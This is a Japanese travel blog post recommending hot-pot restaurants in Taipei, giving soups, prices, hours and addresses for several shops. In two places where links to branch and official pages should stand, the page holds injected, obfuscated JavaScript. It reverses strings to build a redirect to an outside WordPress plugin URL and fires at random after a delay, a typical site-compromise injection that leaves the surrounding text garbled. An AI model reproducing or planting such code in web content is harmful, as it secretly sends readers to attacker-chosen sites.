台湾旅行（台北）で絶対行ってほしいおすすめの火鍋レストラン5選！

2019年11月8日2020年4月15日

こんにちは、AYA(@ayanohk)です。

台湾のお勧めグルメはたくさんありますが、私が必ず行くのは火鍋！今は日本でも本格的な火鍋を頂くことができますが、台湾で食べる火鍋は別格です。

特におすすめなのは、中国北部名物の酸菜のお鍋（発酵させた白菜がたっぷり入ったお鍋）は日本ではなかなかないので個人的にはそちらを試してもらいたいです。

今回は私がお勧めする火鍋レストランを紹介します。超有名どころなので台湾で初めて火鍋に挑戦するかたはここから選ぶといいと思います。

日本語でネット予約できるお店も多いのでぜひ活用してくださいね。

小籠包食べ比べしてみました。

台湾旅行でおすすめの火鍋レストラン

鼎王麻辣鍋

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絶大な人気を誇るレストラン。1991年に台中市で屋台から始まった火鍋レストランですが、今はとっても大きな綺麗なお店です。店内もオシャレです！

特に冬は予約が取りづらいので必ず前もって予約するようにしています。（日本語ネット予約可）

お店の名前に麻辣鍋とありますが、2種類のスープを選べるので安心してください。2つ目のスープは酸菜白菜鍋です！またここの麻辣鍋は野菜や果物、漢方などを煮込んで調合されているからか他と比べてそこまで辛くないです。

ここの店員さんは対応が丁寧で完璧！お辞儀の仕方に驚くと思うのでぜひ行かれた方はチェックして下さい。

お昼から朝4時までオープンしていますが、人気のため制限時間が90分となっていますのでご注意を。

◆お店情報

台北市松山區光復北路89號
台北市中山區長安東路二段131-1

※その他の地域の店舗は$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.php?cID=1″>こちら

無老鍋

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台湾中に支店がある有名なチェーン店$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.php”>「無老鍋」。ここは漢方などの材料が入ったスープがあり健康や美容にいいと人気のあるお店です。

1人予算がだいたい4千円くらいなので高級火鍋にはなりますが、オシャレな雰囲気もあるお店なので旅行者には間違いないお店だと思います。

スープももちろん美味しですし、お肉の臭みもなくしゃぶしゃぶが楽しめます。個人的には最後に出て来る桃のスムージーが大好きです。お口直し用なのですが、お金出しても欲しいくらい美味しいです。

火鍋って服に臭いがついてしまうイメージですがここは換気がかなりされているのでニオイの心配はなし。ただし、その代わりかなり寒いので夏の場合でも羽織るものを持って行くことをお勧めします。

ほとんどの店舗が深夜2時までの営業です。

※公式サイトは日本語がありネット予約が可能です。

老四川

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台湾に10店舗以上もある火鍋レストラン。本格的な四川の火鍋を味わうことができます。

中でも台北の松江南京の店舗は、外装も内装も格式高い優雅な雰囲気。オシャレな火鍋レストランというよりも本場に近い中国感が溢れ出ているお店です。

2種類のスープがいただけるようお鍋の真ん中に仕区切りがあり、赤いスープと、豚骨やネギのうまみが詰まった白湯を味わえます。

鴨血の塊やお豆腐は無料で追加できますが、血の塊が嫌な人は初めに言っておくと抜いてくれますよ（私は必ずぬいてもらっています）。

朝5時まで営業しているので深夜到着した方にもピッタリです！

その他の店舗はサイトをご確認ください。

◆お店情報

住所：台北市中山區南京東路二段45號
時間：11:30～AM5:00

【酸菜】長白小館

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初めて食べたときは軽く衝撃を受けた酸菜白肉火鍋のお店。

日本のオシャレ雑誌でも取り上げられたことがある有名店ですが、店内は結構ローカル色強めです。メニューやたれの作り方は日本語で書いてあるので大丈夫です！

蟹やエビ、かつお節からダシを取った白湯スープに柔らかい豚バラ肉を合わせます。白菜漬けの酸味と豚の甘さのバランスが本当に絶妙です。

一品料理もあるのですが、お客さんのほとんどがこのお鍋しか注文していないのでお鍋だけで大丈夫です。

人気なので予約はしておいた方がいいです。

※現金のみです。

◆お店情報